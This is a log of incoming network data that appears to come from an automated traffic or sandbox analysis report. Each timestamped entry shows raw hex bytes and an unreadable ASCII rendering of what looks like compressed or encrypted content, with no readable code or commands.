2023-02-21 06:06:04 UTC	145	IN	Data Raw: 95 de b5 43 c7 e6 c7 66 e6 a6 26 0f 5f 3b 84 e7 36 3e 2c 8b af 1d aa 2d 4e 2d 2c ce b5 6e 98 6e 2d 2e cc 8d 4e 5d 3b 74 60 f1 f0 d4 e4 d8 2d ad a5 43 33 0f b4 a6 6f 38 5c 2c 8e 06 63 41 c1 2b e7 fd d6 8e 52 f9 f2 28 31 be dc 99 3c d6 c2 0a be 7c 5c c3 f4 7f 07 2a 75 f1 bf e0 79 79 f3 0f 01 df 1b 18 93 bb 26 47 55 ff fa dc e8 09 9e 02 b6 57 27 17 8e 8d ce 5e 3b 64 56 77 c3 d8 8e fc 44 30 51 e4 91 3a 1e ec 18 cd 8f 82 82 ee 79 cb 6f bf f4 67 1f fb f4 af bf e2 67 be f0 85 ad 57 e4 bf fa fe 97 6f 5a f6 ee f8 9b a7 ff cd 37 bf fe 53 42 8d 0d fe f7 1a fe f7 65 fe e7 73 fe 96 f8 df 87 f8 df e8 19 8c dd d4 e9 31 0b 38 6f de c7 c4 03 0b ce 47 2d f8 7f 7b 3a 21 d9 cb af e2 59 8d 03 f2 d8 53 b4 89 63 e8 79 27 c2 5b b8 26 0f b8 4e 68 3b 11 49 7a 20 44 1c 14 d6 3b 21 Data Ascii: Cf&_;6>,-N-,nn-.N];t`-C3o8\,cA+R(1<\|\*uyy&GUW'^;dVwD0Q:yoggWoZ7SBes18oG-{:!YScy'[&Nh;Iz D;!
2023-02-21 06:06:04 UTC	149	IN	Data Raw: 1f 23 d8 b2 d5 00 43 26 a3 34 60 39 5c 49 bd 6b 5e 22 2b 61 98 8c bb 79 d9 4c f7 a8 be 6a f3 fd 41 de 14 7e 58 38 c7 6c 61 4b a2 b3 28 dd 93 c4 0f 25 61 6c b8 c6 b9 4b b5 30 53 28 33 78 94 b4 35 2b 5b fd 17 4c f4 4a d6 35 93 ea 45 a1 b5 fb e7 35 a7 88 f2 57 f9 de 85 04 ac 0f 4a ce a8 82 aa 14 22 d0 95 ca 68 b9 f1 fc 31 98 d4 5b c4 29 40 00 46 05 c2 07 53 18 9a 32 d9 15 b8 24 97 5b 90 86 4c 27 c2 f4 da a8 89 9e f1 e2 60 b1 6a f0 fd e1 a4 f9 69 a5 4d 59 09 e1 77 15 4d 9d bb 1e 19 e2 0d 99 df 3d 48 8e db d6 3d 86 b2 8e 22 eb 95 77 dd 8d 31 bb fc 60 ba de de e0 33 cc 11 65 2b 36 6c 13 3f 96 78 31 50 8a b9 77 6c 06 0c 28 f3 52 05 29 3e 7b 82 59 10 e8 5f d2 bd 59 9f 58 84 1e 26 eb 67 3a 55 82 fb 68 d1 69 b4 f6 7d 4e 51 8d 53 0e fa 66 cc e9 ce 88 3e b4 5b 5b e3 Data Ascii: #C&4`9\Ik^"+ayLjA~X8laK(%alK0S(3x5+[LJ5E5WJ"h1[)@FS2$[L'`jiMYwM=H="w1`3e+6l?x1Pwl(R)>{Y_YX&g:Uhi}NQSf>[[
2023-02-21 06:06:04 UTC	153	IN	Data Raw: ef b9 56 c9 43 a8 23 ac 05 d8 07 b8 be 7d cb 42 f0 d8 d7 b8 7e b8 9e 24 a4 21 c2 b5 60 7d 5c 2a 97 c5 e5 eb 55 b8 5d e8 9d 12 45 b5 4c 9e 31 aa 94 f6 9a a2 5c d3 90 3e ab d7 32 1a d2 58 60 4e cb c3 21 77 6b 50 08 7a 5c ee 99 aa 94 14 e7 7c ff 89 97 14 4e f0 80 85 db 6e db ee b5 4a a1 0d fe 94 17 ef 4b 5b d3 f4 1d 9e db 49 9b f3 a4 43 06 52 50 04 e8 9b 1f 14 11 6c c3 2f bf bf 95 70 1b cf 77 e8 60 44 50 8c 3f 3e f6 dd 59 e0 93 09 c3 9e 70 72 0a 45 6e 1e 88 6c 92 69 a4 dc 54 6e 24 3a af 17 f0 0d 58 7f 28 ee dd 29 9e fe 34 0a e4 83 af c6 35 d2 21 7c 84 29 b5 a8 dc 92 27 26 1d a4 1b c0 9f d8 a6 c8 a7 54 a3 2d ea 0d ee 82 1e b1 ae fd a7 d0 8a be 45 af 44 26 92 3d 45 1c 29 d7 49 04 64 70 3a cd 06 02 af 50 99 7c 46 a4 e3 e0 13 ba 74 de 54 16 9f 60 c2 21 80 0c a2 Data Ascii: VC#}B~$!`}\*U]EL1\>2X`N!wkPz\\|NnJK[ICRPl/pw`DP?>YprEnliTn$:X()45!\|)'&T-ED&=E)Idp:P\|FtT`!
2023-02-21 06:06:04 UTC	157	IN	Data Raw: b6 6d fc 7d 26 da 7a d7 d0 be 6e 0c 5b c8 e2 b5 6d bc 10 ac 98 50 6d de 1e 3b ba b5 bf 3c f2 e0 a7 19 fe 67 9a 42 7e 7c 51 bd 8a 1c 6c fc c4 f4 8d d2 20 41 a5 d9 30 51 2a 4c d2 60 9e 8c be a5 2f e1 73 38 ba f6 2d 87 d7 2f 0e 39 33 2b bd 39 26 b9 c3 6a 38 79 46 3c f2 17 b8 1e fc 26 76 41 c8 5f 2f 59 eb 87 55 21 c3 7a 5a d7 b0 be 8c 33 3a 9c d8 7b cb 96 d8 98 39 ac c1 5f cd af 11 09 e4 25 8c c6 4c 61 6a 5f f4 78 73 fa 1c 0e 17 5b e9 3a 1f 32 cf 6f 7d 2c 17 b7 61 ad db 58 d0 4b 30 d7 a1 5b ce 0f 99 eb 6d 85 7e b6 d4 ca af 81 67 98 9c db bb d4 ae 9c 2a fc bc 22 39 4f 7c 23 5a b0 f7 65 01 e0 3e d7 7a b9 af 60 a1 31 b1 06 ec 83 ee 59 e8 0c 51 a8 38 c9 31 4a c8 95 71 c1 c7 89 06 62 af 25 4f ca e5 e9 0d dd d3 a9 88 5b e3 0f 0d c1 21 a1 83 f4 60 13 01 8e 8b 3c c4 Data Ascii: m}&zn[mPm;<gB~\|Ql A0QL`/s8-/93+9&j8yF<&vA_/YU!zZ3:{9_%Laj_xs[:2o},aXK0[m~g"9O\|#Ze>z`1YQ81Jqb%O[!`<
2023-02-21 06:06:04 UTC	161	IN	Data Raw: ce 4d cb d6 ee 2f b3 59 11 c5 0b 6b 4b d7 c4 e6 4f 1a ca b4 4d 9d 53 43 8b 11 22 5a e9 28 03 2b 94 f0 3b 6f 43 27 6d a9 84 38 2c ad f4 7d 7e 4d ef eb ba dc 5b 3a af 92 d2 8e 3e 48 b7 0d dd b7 c9 05 e8 dc 1d 7e f1 80 df 3b 51 aa f0 2b 58 eb 2e e8 a8 2d 45 4c ac c3 6a e7 4c 04 51 71 20 e7 a0 1d 87 e5 88 dd 60 59 2a 9d 20 d7 29 6d 71 00 e1 92 bb c3 cc 1c 4d b0 bd 3b a1 0a a9 61 fa be 31 97 31 7b 50 80 fb ac 2a c7 a1 c1 ef 13 03 a4 0e ad 3f 64 a6 19 36 69 01 25 ba 0b 19 c1 04 a5 aa 45 8e dd 46 25 5e 2a 40 20 20 db fe 0e d5 a0 23 6a 06 56 29 79 22 32 b0 1a bb ce 7c 6a 67 1d 03 7d cb 94 c2 1f a0 8d d8 fb 60 7d 18 37 be 09 2f 3e c1 a6 0e 47 c9 fa e1 f6 fb 33 f0 22 bf cc db 9c 9b 86 d5 4b fa 7e ae 50 94 f7 6e d1 51 7e 54 18 1e a2 9f 45 0e f5 55 5e 48 33 79 7e 78 Data Ascii: M/YkKOMSC"Z(+;oC'm8,}~M[:>H~;Q+X.-ELjLQq `Y* )mqM;a11{P?d6i%EF%^@ #jV)y"2\|jg}`}7/>G3"K~PnQ~TEU^H3y~x
2023-02-21 06:06:04 UTC	164	IN	Data Raw: e4 03 94 62 58 9d 83 7a 30 fd 91 7f 3f 45 77 25 9a 47 69 6b 31 89 7d 55 02 07 8f a7 2a 77 2b d5 bc 45 4c a2 eb de 18 49 68 d9 22 7f 84 4b 07 75 62 1a 00 bb 5b b4 a3 91 74 3d 9a b1 a4 53 80 bb ed e8 01 a6 0e 76 34 69 81 03 a1 8e 5f f4 28 00 19 aa 44 f8 cc d8 e1 01 6a 9f 0a bb 81 9f d8 46 1b 53 3a c2 f7 20 19 e3 22 75 e2 08 26 dc 8c d1 89 fc 8c 9c ec 4d cd d7 68 90 d5 8d d0 09 06 b8 b4 93 cb f3 7d c0 2b c0 33 ae 98 b4 c6 11 64 c1 85 9f 5e 80 15 62 ed 4f 99 0e 6b b1 37 df b9 26 ef 77 c4 5b ff b8 90 e1 dc c0 ee df 88 34 5c 09 49 54 dd 39 ae cc 33 ee 28 68 98 b1 6d 79 d8 12 fb 34 4a b6 6c d2 71 24 6b 00 5e 55 c5 69 19 14 b4 1d 75 4b 66 44 8b 7f 1f af 69 eb a0 99 a2 fe dd ba 62 80 9d fd 32 ef 40 e7 eb dc c5 93 ed 47 f5 02 e9 81 e3 c2 ad e6 23 f4 05 4b 6e 68 1f Data Ascii: bXz0?Ew%Gik1}U*w+ELIh"Kub[t=Sv4i_(DjFS: "u&Mh}+3d^bOk7&w[4\IT93(hmy4Jlq$k^UiuKfDib2@G#Knh
2023-02-21 06:06:04 UTC	169	IN	Data Raw: 31 8d ac 4f 5a 0b 4b ac b9 d9 ac 83 97 1e d6 80 46 d4 78 fb 81 9e 80 16 eb 3e 9a c2 6c f9 bc de a7 db 1e ac d6 ef 27 df bb fd 6e d7 1a 57 df 96 8b 57 4b 92 48 26 67 dc b4 c6 d2 b3 9b 9d eb 06 9b ee c7 8e d5 fb cf 77 00 4a 0b 8d 49 ca 0b 67 8d 7a 2f 4c f3 9b d9 a8 94 64 c2 e7 df 70 2f 93 99 67 eb 1f 74 90 2c 9a 0a 64 b0 31 89 f5 44 37 b9 35 fc de 27 5a f3 bf 63 b6 41 44 f9 e1 9c ac 83 9c c6 2b b4 e6 0f 11 b9 9c fb c7 ec ac af 5f cc 8b 92 a4 60 ce 1d bd 8c b9 55 73 64 3c cf b4 84 92 d4 12 42 39 26 dd df 61 29 16 61 ef 8a 34 46 e1 94 c0 63 f4 ea f9 45 32 ba ae 4b ee fe eb a0 0b 52 aa 19 c6 d1 ab 2c f7 a5 50 f5 45 7e 89 81 b6 75 89 30 8d 9f ce 87 3f 17 47 bc 23 c5 df 54 b1 de 91 81 7e f2 9e 51 e0 f3 7c 07 59 07 83 eb d3 f6 d9 c6 2b 80 79 76 c9 c2 55 11 1a 97 Data Ascii: 1OZKFx>l'nWWKH&gwJIgz/Ldp/gt,d1D75'ZcAD+_`Usd<B9&a)a4FcE2KR,PE~u0?G#T~Q\|Y+yvU
2023-02-21 06:06:04 UTC	173	IN	Data Raw: 5b 09 8a 5d c3 9d de 38 ae d0 4a f6 52 fa 7a 7d 62 25 17 d4 a5 5b ff 11 f7 67 6e 67 9f 77 53 6e b5 d1 ea 8f 6f 37 83 fb cd 79 e3 5a 9f 42 9a f6 9c 3e 1d 87 b3 ac f6 7d 7d b2 8f 1f 05 d6 94 e6 e7 94 05 61 8b 7a fd b7 9c c2 24 a9 8f ee bb 76 1a f5 db 6c 2a de 66 f4 df 91 c6 4b 0e c7 f6 04 39 2f 0d be fd fd cf c2 56 fb 20 aa f9 ad d4 95 16 3f 15 07 ae e1 97 32 37 dd 8e 7b 66 e9 7f c2 29 77 ec d5 57 ab 7d 36 26 f3 ec ff 4e 2c 24 ec 9e 36 58 01 84 37 91 f3 27 76 6d ca 9e a9 bb a6 b4 39 eb 73 1c 56 53 5a 3e d8 97 f6 96 f9 82 74 9c 6b e4 3e 44 61 8e f4 b3 2b f7 b8 c5 c6 c6 0b 4e 7e 6f 5a a6 ce 69 21 ed 4c 36 1e d9 50 14 b4 f9 72 d3 cb 75 da 81 0b 15 48 9d 4b 6d ce 2c fc f7 34 3a 0e 13 f7 f8 e5 f4 32 fc 52 2b b9 34 af bd 72 02 58 7c cd d4 4b b6 da 60 8f a8 75 0f Data Ascii: []8JRz}b%[gngwSno7yZB>}}az$vl*fK9/V ?27{f)wW}6&N,$6X7'vm9sVSZ>tk>Da+N~oZi!L6PruHKm,4:2R+4rX\|K`u
2023-02-21 06:06:04 UTC	177	IN	Data Raw: 58 fa d2 73 ee 59 1b cb 73 a6 04 61 c1 44 f4 6f 0c 3e f7 47 fa d5 b7 3e 03 2e 8e 45 c7 eb bf e1 5f 45 b9 2f f8 96 3e 77 2d 80 1b 6d a8 fa 37 e7 bf 23 e3 a8 4b b6 ef aa 3e 71 82 b7 1b d9 3d 59 01 47 64 96 65 1b e3 2e 83 5a 7b 04 33 05 3c 8f 78 e1 eb b4 90 f0 f5 26 37 35 0a d9 2f 4e fb 85 6f dd 13 db 69 9d 40 49 75 3a c4 1c 83 4e a0 3c 58 05 6f 9c fe 44 be 7f 0d fd 67 e6 8a a1 3d 63 67 64 0f af 59 78 94 f7 7c 69 dd 75 e1 e1 8d 03 fc 51 f1 d6 0c f6 70 5a 14 f2 f5 8e ea dd fe bb 16 23 eb 63 20 11 3c 43 5b cc 9b a0 e2 0e 99 6e 75 00 f9 2a 72 a6 de 37 b2 61 0f 5a af d2 65 40 c6 8b 17 bb ac 63 d3 1a 65 a6 1a 6b 38 51 4a c0 bd 77 17 39 9a a3 fd 33 02 db bf 48 21 04 84 f3 af 6c 50 aa 40 89 2c 10 d4 5f c8 23 37 13 56 86 51 43 9e 29 48 f5 25 06 8c df d1 ec b0 9c 52 Data Ascii: XsYsaDo>G>.E_E/>w-m7#K>q=YGde.Z{3<x&75/Noi@Iu:N<XoDg=cgdYx\|iuQpZ#c <C[nu*r7aZe@cek8QJw93H!lP@,_#7VQC)H%R
2023-02-21 06:06:04 UTC	181	IN	Data Raw: e3 08 0c 6c 9c 91 7c ec bc cf 6d 78 1a 60 f2 5d 69 e3 94 e2 99 8e 3c 2a 49 b9 d7 e6 95 0f 0e c4 a7 d8 3d 11 47 09 8e ca 69 a5 77 5f dc 5c f3 6c fc ec 45 03 93 68 e8 aa 30 46 5d 1a d6 c9 68 db c1 b4 71 fe 0e 6f c8 dc e6 79 e3 a2 c6 20 75 50 7b 66 f3 47 72 a4 53 28 e4 bb fa da c0 16 ab f8 a9 56 eb 5d ba 91 57 b6 23 87 c6 ab 41 c2 4c 6b 7d 2c 47 b8 91 28 8f e1 a6 51 fb 1a a0 d2 08 db f2 58 92 8c 5f a2 87 b0 d1 42 a4 2e d2 28 0d 62 f7 38 2e 8d 4d 02 e8 57 e5 90 2c b1 c9 63 b4 9e f6 af 8c d5 69 cd f5 9f 3f 53 cb 6b 10 63 b8 b4 4e 1d 6c 28 94 a5 ef ed cf b4 ba 1a 4e 1f 45 10 dc a5 90 70 4b 9b 5a 8c af f2 62 18 b5 34 90 65 c0 ec 89 1d fe 3f cc e7 9b 29 d9 7e 9c 54 10 31 03 c9 0b d3 29 e3 e8 78 70 50 ef 08 06 50 81 b6 f5 a7 30 21 01 7d 97 e5 de e0 ee de b4 ba 9d Data Ascii: l\|mx`]i<*I=Giw_\lEh0F]hqoy uP{fGrS(V]W#ALk},G(QX_B.(b8.MW,ci?SkcNl(NEpKZb4e?)~T1)xpPP0!}
2023-02-21 06:06:04 UTC	185	IN	Data Raw: d8 3a 9b be f4 9e e7 a5 4f 72 cc 9e 99 99 4f 11 5c c2 56 a0 27 f2 f7 fe 41 0b de 47 bd b8 e1 00 d4 f1 71 eb e0 df 69 5b 32 ce 50 9f 7a 27 9f 1a 0b c8 8d 65 6c e2 7f ac b0 97 0c 5d de 7a 6c 62 db ec 19 73 4e 6c 91 60 c0 7c f5 32 8f f6 93 64 a5 ef 57 2d 32 3b d6 c6 e3 43 d8 58 e7 71 db e4 6d d3 ed 98 af 71 11 62 d7 ed c9 eb 56 c7 96 2e 16 5f 4d 70 94 5c 1b b5 1c 78 6c bc d2 e7 ea 92 f1 03 75 e9 2b 7d 90 18 1a 14 34 f6 e6 42 2a 4d 68 59 fd cf 8c 6e bd 6f 0c e4 15 9e f6 fc ae d1 38 d3 c0 7b 63 4d d3 aa 44 21 9e fa 67 da 3d 65 04 98 60 14 bf be d5 a7 7e 11 db 00 29 df 08 26 18 06 0f fa ed 4a 1c 61 15 aa 69 aa 66 39 d2 50 27 ad 05 65 9c cf 73 54 5e b4 80 de 9d cb b9 2c a0 59 7c 91 25 53 a6 14 2c 35 22 83 d0 99 c8 b6 a9 9c 3a 97 07 d1 0e f8 10 80 b1 96 4f 5c 46 Data Ascii: :OrO\V'AGqi[2Pz'el]zlbsNl`\|2dW-2;CXqmqbV._Mp\xlu+}4B*MhYno8{cMD!g=e`~)&Jaif9P'esT^,Y\|%S,5":O\F
2023-02-21 06:06:04 UTC	189	IN	Data Raw: 3b 3d 44 61 f6 45 34 0c 4e bb a7 87 26 c6 8a 98 4e 5d d9 1a 72 0c 71 4d 9b 0a f0 a5 6c 66 31 70 30 f3 16 bb a8 6b 4a 78 59 66 62 f2 8d 9d a7 d9 b0 c7 43 94 68 ef 4e 21 d5 ee 31 11 0c 0b 97 97 6a 25 6b 02 39 11 6e d5 24 99 21 52 7c 91 ff 4c a1 06 c2 37 41 bc 10 73 9a d4 0c df 93 0b 24 72 39 61 78 b9 b7 ff 23 06 c0 d6 9b 0b ad 88 23 ec 94 af 84 01 ee da a9 0a e2 38 49 e6 19 1e ce 8f 40 56 83 9c 6b 50 b0 a0 01 af 9a 83 e8 2d b7 75 45 0a 14 ba 3c 8c b4 5f 66 a0 2a 91 dc 0c 73 13 50 0a 47 18 b2 cc 60 9d 10 4c 2a 23 eb cf 53 4e a0 85 f6 34 3d 30 c2 de 10 60 ce 0d 8d 1a 1a 08 f3 42 e8 2d b5 df 26 f0 9b c1 dd 20 42 41 40 03 83 d0 f1 1a 71 5b 32 b8 28 a9 22 90 e9 cd af 9c 86 b8 86 80 db 20 cc 89 a2 32 78 88 0e 42 0c 0d 43 5c 07 02 03 07 d9 da d5 01 4d 00 11 f7 08 Data Ascii: ;=DaE4N&N]rqMlf1p0kJxYfbChN!1j%k9n$!R\|L7As$r9ax##8I@VkP-uE<_fsPG`L#SN4=0`B-& BA@q[2(" 2xBC\M
2023-02-21 06:06:04 UTC	193	IN	Data Raw: 41 07 09 c2 ff 4a a9 da f3 b0 bb f2 b6 b9 01 94 db bb e9 83 d6 96 dc 57 f7 8c 7f df c7 a1 38 bf 73 41 de cd 39 fd c7 fe f8 7d bc 1b f3 5c 3a f3 d6 c1 1b 50 68 d8 e2 97 7f 35 3c b1 f8 05 03 5d fb d3 9a cc 2d 3a 73 94 45 53 af 4c 2e 9c 5b 73 f4 b9 6e c9 7e 8c 8b f6 56 23 a7 e5 d4 f0 cb f2 a3 b4 6f ce 3a 10 f6 31 7a 18 ee 21 9c db 54 7c e8 af ea 58 4e 75 1b b2 59 42 af f5 90 ae 2d 15 88 1b 7e 56 1c bf e2 21 ca 73 e8 fe f3 ee 57 03 87 4f 8f b7 f4 75 60 fc 4e c4 af 3d 5e 6f 15 27 cc d4 36 84 67 42 57 6e 99 84 39 ef ac 3f 7d 3e 94 8d 85 37 d9 fa 54 a7 25 c4 12 d4 54 33 1e 92 62 a4 e2 20 f4 b2 23 cc 9e a1 bc 8d 84 99 7c 53 33 1c 27 8f f8 40 9b cf b3 f9 96 3d 55 e9 cf 39 4a b3 59 04 1d 20 29 07 af b2 91 97 68 2c 98 51 a9 2a 91 00 bf 0f 7d 42 c3 de 31 1c 0d 10 28 Data Ascii: AJW8sA9}\:Ph5<]-:sESL.[sn~V#o:1z!T\|XNuYB-~V!sWOu`N=^o'6gBWn9?}>7T%T3b #\|S3'@=U9JY )h,Q*}B1(
2023-02-21 06:06:04 UTC	196	IN	Data Raw: ac cf 33 b5 75 16 25 b2 0b 9e 17 50 f4 81 6e 43 94 8d cf d3 78 16 95 8a 1a 31 13 35 cf 78 ab 17 51 b0 93 89 26 78 f9 32 7e 8c a8 40 04 77 ca 70 30 a7 20 52 0f b0 30 e3 30 ff 0e a6 69 35 e0 65 25 8d 95 0c a0 d3 82 4b 24 4e 58 14 9c f1 96 31 02 a5 f3 12 0d e6 19 8b 4a a9 f1 12 9c 20 c4 66 50 0d 4c 66 06 4f 95 e1 06 11 07 74 52 82 1e b4 33 f0 56 e0 fe f3 f5 d9 c8 2a 11 bc ca 29 47 4d 1c 2c 89 00 07 43 0d 7c 89 4b 88 6d 32 91 16 4f 19 a9 e7 e1 d8 56 1a 00 1c 53 35 11 88 b5 0a c0 cd 97 1a 4e 78 4a ea 95 6b 90 6d da 6c e5 50 61 0a e7 e0 80 77 fb 2c 2d 1b c7 2e d7 e9 4d a8 73 75 8e 4c 6a 97 30 55 35 30 4f 31 eb 95 0d c6 04 11 6e 57 1a 9f e2 bf 43 13 bc 0b 68 31 44 13 9d 19 21 76 0a a6 a3 3c 28 e9 e4 5e 45 42 69 a4 30 47 b6 98 20 7c 9f 19 0e 10 0b 2e f2 fa 89 77 Data Ascii: 3u%PnCx15xQ&x2~@wp0 R00i5e%K$NX1J fPLfOtR3V*)GM,C\|Km2OVS5NxJkmlPaw,-.MsuLj0U50O1nWCh1D!v<(^EBi0G \|.w
2023-02-21 06:06:04 UTC	201	IN	Data Raw: 11 4a 34 ba c3 5f b3 c9 82 18 01 3f 31 fe 91 d0 eb 19 00 7e 22 4b f4 ed a0 8e 46 f8 b9 52 78 cf 97 cf e8 6e 4e 27 62 96 8d 6d ef fc be a0 1f f5 ee a6 16 46 c8 2a da 72 e8 53 47 3d d6 a9 e9 8c ad 32 53 1f 1f 3f 6e 00 c0 b9 d6 71 b3 65 70 92 c1 de 3f 87 5e 9e 2e 3c 3c ae 7d 27 13 88 c6 f4 6d 0d 45 26 55 e9 70 2e b2 d9 de 89 f8 d0 26 f1 a0 91 4f 84 7b 89 db ca f7 66 8f be e8 af f2 2a 5d 5b 96 f5 ea 76 ad 7f f1 95 98 c8 7f 44 a9 8b 17 a2 4f 1b 6e a7 a8 db a5 5b 37 0f 9d 30 b8 79 87 e1 85 9e 0c f3 7b 6e 7f fb a7 e9 2b b3 d6 f0 d7 da 5f 37 5d fb d0 f5 51 74 5a db 0c 08 2d e7 2f c5 e5 17 63 2d 5d ae ae 39 b0 cd 4b 16 5c b5 27 77 d7 dc d6 1b 0e a5 cd 27 ff c3 7b f1 18 9a 14 68 f6 3c cf cf cd cf b3 5d a9 89 55 7d a2 a6 85 70 36 e5 de 2b 89 eb ba b0 cb d0 e1 c1 89 Data Ascii: J4_?1~"KFRxnN'bmFrSG=2S?nqep?^.<<}'mE&Up.&O{f][vDOn[70y{n+_7]QtZ-/c-]9K\'w'{h<]U}p6+
2023-02-21 06:06:04 UTC	205	IN	Data Raw: 4c dc 09 b0 1b 1c 16 1f 90 51 04 fd 12 7d 5b c8 3e 4c 25 60 e8 a8 fa dd ab e2 68 84 07 ea e0 5d 15 b4 d0 0c 61 01 f9 8c ce 0e ba 22 31 9f a3 74 5c fe ea 93 24 ac b8 88 6a 2e 62 51 1c 2c 60 42 d3 2d dc 83 cb 29 95 b5 08 b6 87 0a 32 7d 9b 10 02 e6 79 4b 13 a2 bf 93 f7 bd 16 29 8b 0a 10 74 d2 a1 13 18 2a c8 e9 32 e0 69 40 26 76 88 0a 02 92 74 b1 be 4b 19 3c c9 b6 fa fe 20 d4 24 13 ac 33 20 0a 10 52 ac b2 cb 58 13 0c 5a 54 ff a4 05 b0 d5 16 3c 1d ae d0 52 86 74 b6 cb 4b c8 8a 2e a2 2e c7 f8 32 d6 40 67 d5 3e 6f 29 ee 84 66 48 3c 8c 81 8d c1 e3 d0 f1 b2 a8 ff d3 12 a9 b7 86 84 2a 9d f0 b1 44 d1 88 76 42 de bc bb f5 b2 e5 9a 18 3f 0c ab 56 ae 63 af 40 a9 87 6c 53 94 bb 58 9f ec 8d 11 d4 b9 8b ad 03 9c 12 33 1d ab 01 d5 f7 e2 b1 ef fb 12 93 98 d8 94 da 33 06 55 Data Ascii: LQ}[>L%`h]a"1t\$j.bQ,`B-)2}yK)t2i@&vtK< $3 RXZT<RtK..2@g>o)fH<DvB?Vc@lSX33U
2023-02-21 06:06:04 UTC	209	IN	Data Raw: 1a 49 13 67 12 d7 55 51 96 fe a5 cd 68 f9 6a cf fe 43 62 f8 41 aa 67 cd 58 8d 9d 45 f1 18 ca d2 a5 c4 7a a5 bc ce b6 58 77 18 50 74 bb 29 dd 4e 0d 5d 87 30 6b f3 e7 a2 d0 53 82 45 f9 19 27 a6 5e c9 b7 39 da 16 0c eb a3 ed 57 79 ad 5c ef e7 dd 50 fd 8f 85 53 12 38 17 3d 16 5d f3 9f 29 89 e9 de 91 b4 bd 7a 0d 7b 02 16 ad 9a 71 55 dc b4 91 34 d7 67 63 68 d8 de c7 05 d8 c5 9d df 46 d2 3f 04 38 64 6f 49 7f f1 92 bc a2 34 0a b4 1e e8 35 6a a3 d5 6a 96 fd 12 26 38 3f 5a be 03 2b d0 f8 39 38 fc 56 1b d0 68 51 a9 fc da f2 72 d5 80 55 f3 d9 a0 74 e4 51 d9 04 f9 f8 3d 42 5b fc c0 ef c7 59 11 bc a6 1b 17 32 11 73 6f 80 45 15 12 a9 ab c8 26 ab b1 65 d5 4d 95 48 b2 8e 9c 8e 0e 62 1a e0 a3 3a 74 ab a2 a5 58 23 31 5a fb 24 36 86 1a 62 b2 9f be 8e 13 b6 f2 46 b5 bd 28 8b Data Ascii: IgUQhjCbAgXEzXwPt)N]0kSE'^9Wy\PS8=])z{qU4gchF?8doI45jj&8?Z+98VhQrUtQ=B[Y2soE&eMHb:tX#1Z$6bF(
2023-02-21 06:06:04 UTC	213	IN	Data Raw: 98 55 50 35 38 b7 93 a1 2d 6d be 91 d4 c4 4d 6b 0f 80 2f d4 50 8e cc fd 9a ef b2 72 31 ab 81 48 c0 18 4b 35 df 27 3f b0 53 ce 21 e1 45 51 22 fa 9e b5 44 bb 92 4d 7d 90 d0 ee 2a c3 a0 56 18 28 31 24 28 b9 d9 0c ae 72 08 6e 34 51 72 9a d8 2e 23 6f 3b 7a 8e c8 e8 6d 61 48 be 6d cb de 30 0c 92 98 24 88 a2 59 71 b6 4c 55 8b e3 f7 8e 0c 1a f0 34 91 37 c4 16 fc 0b 7a d5 18 0d d8 c6 c6 f5 d1 fd 51 96 b6 9e 8d 8b 4b 0c a7 17 6a b9 40 f5 58 8e f3 54 9d 51 be 82 03 67 e9 32 0c 68 1d 15 85 26 7b 43 a8 f9 3a b2 22 19 d4 e9 1f 6c f7 d6 bd 10 63 b1 bb 65 eb 3f 6f 4e af da 5c 49 37 08 8a 12 4c b4 f9 57 d1 7e 8d 92 82 6e d8 3c 05 06 65 fa b3 5d e6 63 f4 37 b5 b1 2e ea 93 a8 f4 8e a2 2a 1f 4f 8a 80 59 56 fd 0e 6d 8a ba ce 9a 4d 69 9c 15 59 53 85 e5 03 31 30 c3 71 2b d4 a4 Data Ascii: UP58-mMk/Pr1HK5'?S!EQ"DM}V(1$(rn4Qr.#o;zmaHm0$YqLU47zQKj@XTQg2h&{C:"lce?oN\I7LW~n<e]c7.OYVmMiYS10q+
2023-02-21 06:06:04 UTC	217	IN	Data Raw: 2b b8 a3 93 b3 8b eb 39 37 77 3f ff 8b 01 81 41 a8 e0 a8 e8 98 d8 b8 f8 84 c4 d4 9b 69 e9 19 99 b7 d0 05 85 98 a2 e2 92 d2 32 2c be 86 40 ac ad ab 6f 68 bc 77 bf bd a3 f3 41 57 f7 c3 e7 2f fa fa 07 06 87 86 5f 92 27 26 a7 28 6f a7 df cd 7c 5a 58 5c 5a 5e 59 5d 5b df d8 db 3f 38 3c fa 72 fc f5 db 77 5a bf 80 00 7a e0 bf cb ff b1 5f 3c d4 7e d1 31 30 d0 33 30 d3 fa 05 a4 8b a3 55 e0 61 60 94 50 65 e2 35 41 30 fb 44 f0 49 aa a5 b0 80 4c f3 ef b4 3d 63 95 52 47 ee f2 fb 46 8e b3 9d 94 86 7e 92 d9 a3 75 ed 4f cf fe df 75 ec c6 ff af 9e fd 4f c7 fe d3 af 19 00 07 3d f5 87 c6 43 cf 03 30 02 bc 98 d2 37 fe 62 a8 9b ce 91 cf d4 7f eb d9 f1 ea b7 85 47 c0 2c 8e 68 fe 25 51 48 fe ca 9e 79 8d 7c f5 51 e4 a2 61 e9 ba 17 91 30 f7 eb be 55 47 17 b3 cc 22 d2 fe b1 c2 b3 Data Ascii: +97w?Ai2,@ohwAW/_'&(o\|ZX\Z^Y][?8<rwZz_<~1030Ua`Pe5A0DIL=cRGF~uOuO=C07bG,h%QHy\|Qa0UG"
2023-02-21 06:06:04 UTC	228	IN	Data Raw: 9c f9 dc bb cf c8 67 cf 41 8b fc 0f 37 78 2c ef e1 c2 cd 59 ea 3e fa e6 4b 39 19 37 aa e8 92 bf 4f 8a bc 7a 4d 8a 1a 73 76 ef 0e 57 c3 37 fa e6 11 bb 90 4a 5f 6b dd 3e 86 de 1b 7c 99 ff b3 e1 69 20 d1 9a bf fd 5e 85 24 af 7d 87 53 58 e5 78 9a b3 6d ff 40 ed 60 fd d7 40 0f db 40 3b 87 e9 03 27 5f d8 48 60 fc 83 a7 e1 1b 94 81 2f 7d 09 71 3e 51 4f 87 34 6e 7f 6a e2 34 7f fe 2b 4c d2 7c 7f f6 b3 32 29 2e 24 a2 e1 75 b9 73 2c fd b6 57 85 dc c8 e9 de 37 d9 7d e4 6c dd 1c 95 38 8b fc f8 6b 14 50 77 01 f9 37 93 47 91 af 8e e3 c4 e6 79 22 b1 23 27 f6 e6 80 41 f6 65 ad 0c 84 bf 16 47 75 8f 81 07 ff 99 44 ff 90 b7 54 c5 f7 e5 1e 7c 80 8b b5 62 69 e6 42 b5 38 98 05 b1 ed b2 7d e8 ed 44 a7 fe d5 d5 b4 b8 ad fe 53 b0 77 32 d7 8d fb 61 f6 11 84 e2 01 db c7 05 f9 07 ed Data Ascii: gA7x,Y>K97OzMsvW7J_k>\|i 